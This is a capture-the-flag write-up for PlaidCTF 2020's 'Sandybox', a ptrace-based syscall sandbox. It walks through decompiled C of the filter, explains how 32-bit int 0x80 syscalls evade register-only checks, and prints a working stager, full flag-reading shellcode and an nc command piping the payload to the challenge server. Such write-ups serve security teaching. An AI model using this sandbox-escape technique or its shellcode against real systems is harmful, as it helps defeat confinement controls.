Rating:

## Sandybox

Looking at the binary reveals that the sandybox is a `ptrace` based sandbox
which filters syscalls of the sandboxed program.

Forking happens in the `main` method:

```c
pid_t pid = fork();
if((pid & 0x80000000) != 0) {
const char* error = strerror(errno);
dprintf(1, "fork fail %s\n", error);
return 1;
}
if(!pid) {
prctl(1, 9);
if(getppid() != 1) {
if(ptrace(PTRACE_TRACEME, 0, 0, 0)) {
const char* error = strerror(errno);
dprintf(1, "child traceme %s\n", error);
_exit(1);
}
pid_t self = getpid();
kill(self, SIGSTOP);
execute();
_exit(0);
}
dprintf(1, "child is orphaned\n");
_exit(1);
}
```

`execute()` allocates a page of memory with RWX permissions, reads 10 bytes of
program code into it and calls it as a function afterwards:

```c
int execute()
{
char *shellcode;
char *p;
char *end;

syscall(SYS_alarm, 20);
shellcode = (char *)mmap(NULL, 10, PROT_READ|PROT_WRITE|PROT_EXEC, \
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
p = shellcode;
dprintf(1, "> ");
do {
end = p;
if(read(0, p, 1) != 1)
_exit(0);
p++;
} while(p != shellcode + 10);
((void (*)(int, char *))shellcode)(0, end);
return 0;
}
```

There is something interesting though: the 10 bytes of memory are turned into a
4096 bytes large page, and the arguments passed to the function are
exactly the arguments necessary for a `read` syscall.

The first part of the shellcode therefore reads more shellcode into the rest of the page:

```
0: ff c8 dec eax ; SYS_read
2: 48 c1 e2 08 shl rdx,0x8 ; 256 bytes
6: 0f 05 syscall ; read
8: 90 nop ; pad to 10 bytes
9: 90 nop
```

When the read loop terminates, `rax` is 1, but `SYS_read` is 0, therefore we
decrement it. `rdx` still has the value 1, therefore shifting it left by 8
means we want to read 256 bytes of data. We have to pad the shellcode with nops
such that it is 10 bytes long. As already mentioned, `rsi` already points to
the byte after the shellcode and `rdi` has the value 0, which means `stdin`.

Combining this into a shell command, we can now run arbitrary shellcode:

```sh
(printf "\xff\xc8\x48\xc1\xe2\x08\x0f\x05\x90\x90"; cat shellcode.bin) | nc sandybox.pwni.ng 1337
```

## The Syscall Filter

Since this challenge is supposed to be a sandbox, there is a syscall filter implemented, which looks like this:

in `main`:

```c
ptrace(PTRACE_SYSCALL, pid);
ptrace(PTRACE_GETREGS, pid, 0, ®s;;
if(is_invalid_syscall(pid, &regs)) {
// deny, replace by write(1, "get clapped sonn\n", 17)
} else {
// allow
}
ptrace(PTRACE_SYSCALL, pid);
```

The `is_invalid_syscall` function looks like this:

```c
bool is_invalid_syscall(pid_t pid, struct user_regs_struct *regs)
{
unsigned long id;
unsigned long name;
long v1;
long v2;
char fname[17];

switch(regs->orig_rax) {
case SYS_read:
case SYS_write:
case SYS_close:
case SYS_fstat:
case SYS_exit:
case SYS_exit_group:
case SYS_getpid:
case SYS_lseek:
return 0;
case SYS_alarm:
return regs->rdi - 1 > 19;
case SYS_mmap:
case SYS_mprotect:
case SYS_munmap:
return regs->rsi > 0x1000;
case SYS_open:
if(!regs->rsi) {
name = regs->rdi;
memset(fname, 0, sizeof(fname));
v1 = ptrace(PTRACE_PEEKDATA, pid, name, 0);
v2 = ptrace(PTRACE_PEEKDATA, pid, regs->rdi + 8, 0);
if(v1 != -1 && v2 != -1) {
*(long *)fname = v1;
*(long *)&fname[8] = v2;
if(strlen(fname) <= 15 && !strstr(fname, "flag") && !strstr(fname, "proc"))
return strstr(fname, "sys") != 0;
}
}
return 1;
default:
return 1;
}
}
```

This filter obviously allows `read` and `write` syscalls, but it does not allow
opening the `flag` file.

## Syscalls on x86_64

Syscalls on Linux/AMD64 are weird. There are multiple different ways how to
invoke syscalls, and most people only think about one of them. The most obvious
one is the `syscall` instruction. But it is also possible to use the old `int
0x80` instruction to invoke 32bit syscalls. Those 32bit syscalls are reported
as syscall in the tracer, but if the tracer only checks registers but doesn't
check the current instruction it will be confused. Most importantly, the 32bit
syscall numbers and the 64bit syscall numbers are different. What looks like a
`lseek` syscall in 64bit mode is in fact `open` in 32bit mode. To bypass the
`open` check, all we have to do is `open` our `flag` file using a 32bit `open`
syscall. Of course since it is a 32bit syscall, it only accepts memory below
4GB, but since we can call `mmap`, we can just map a page with `MAP_32BIT`.

***Note***: even `strace` is confused by this. It can easily be checked by running
a program like this:

```
.globl _start
.text
_start: mov $1, %eax
mov $42, %ebx
int $0x80
```

Running this program under `strace` shows a `write` syscall (`SYS_write` is 1
in 64bit mode) instead of `exit`:

```
% strace ./sys32
execve("./sys32", ["./sys32"], 0x7ffcb8da1bf0 /* 41 vars */) = 0
write(0, NULL, 0) = ?
+++ exited with 42 +++
```

## Shellcode Part 2
The shellcode (it's the code for the `shellcode.bin` for our previous command)
for reading the flag can be implemented like this:

```
0: b8 09 00 00 00 mov eax,0x9 ; SYS_mmap
5: 31 ff xor edi,edi ; NULL
7: be 00 10 00 00 mov esi,0x1000 ; sz=0x1000
c: ba 03 00 00 00 mov edx,0x3 ; prot=RWX
11: 49 c7 c2 62 00 00 00 mov r10,0x62 ; PRIVATE|ANON|32BIT
18: 4d 31 c0 xor r8,r8 ; fd=0
1b: 4d 31 c9 xor r9,r9 ; off=0
1e: 0f 05 syscall ; mmap

20: 41 89 c4 mov r12d,eax ; save ptr in r12
23: 48 c7 c2 66 6c 61 67 mov rdx,0x67616c66
2a: 48 89 10 mov QWORD PTR [rax],rdx ; write "flag"

2d: 89 c3 mov ebx,eax ; "flag"
2f: 31 c9 xor ecx,ecx ; flags=0
31: b8 05 00 00 00 mov eax,0x5 ; SYS_open
36: cd 80 int 0x80 ; open

38: 31 ff xor edi,edi
3a: 97 xchg edi,eax ; edi=fd
3b: 4c 89 e6 mov rsi,r12 ; rsi=memory
3e: ba 00 01 00 00 mov edx,0x100 ; 256 bytes
43: 0f 05 syscall ; read

45: 4c 89 e6 mov rsi,r12 ; rsi=memory
48: 48 c7 c2 00 01 00 00 mov rdx,0x100 ; 256 bytes
4f: bf 01 00 00 00 mov edi,0x1 ; stdout
54: b8 01 00 00 00 mov eax,0x1 ; SYS_write
59: 0f 05 syscall ; write

5b: b8 3c 00 00 00 mov eax,0x3c ; SYS_exit
60: 0f 05 syscall ; exit
```

Running this shellcode on the server gives us the flag:

```
o hai
> PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}
so long, sucker. 0x100
```

Original writeup (https://www.sigflag.at/blog/2020/writeup-plaidctf2020-sandybox/).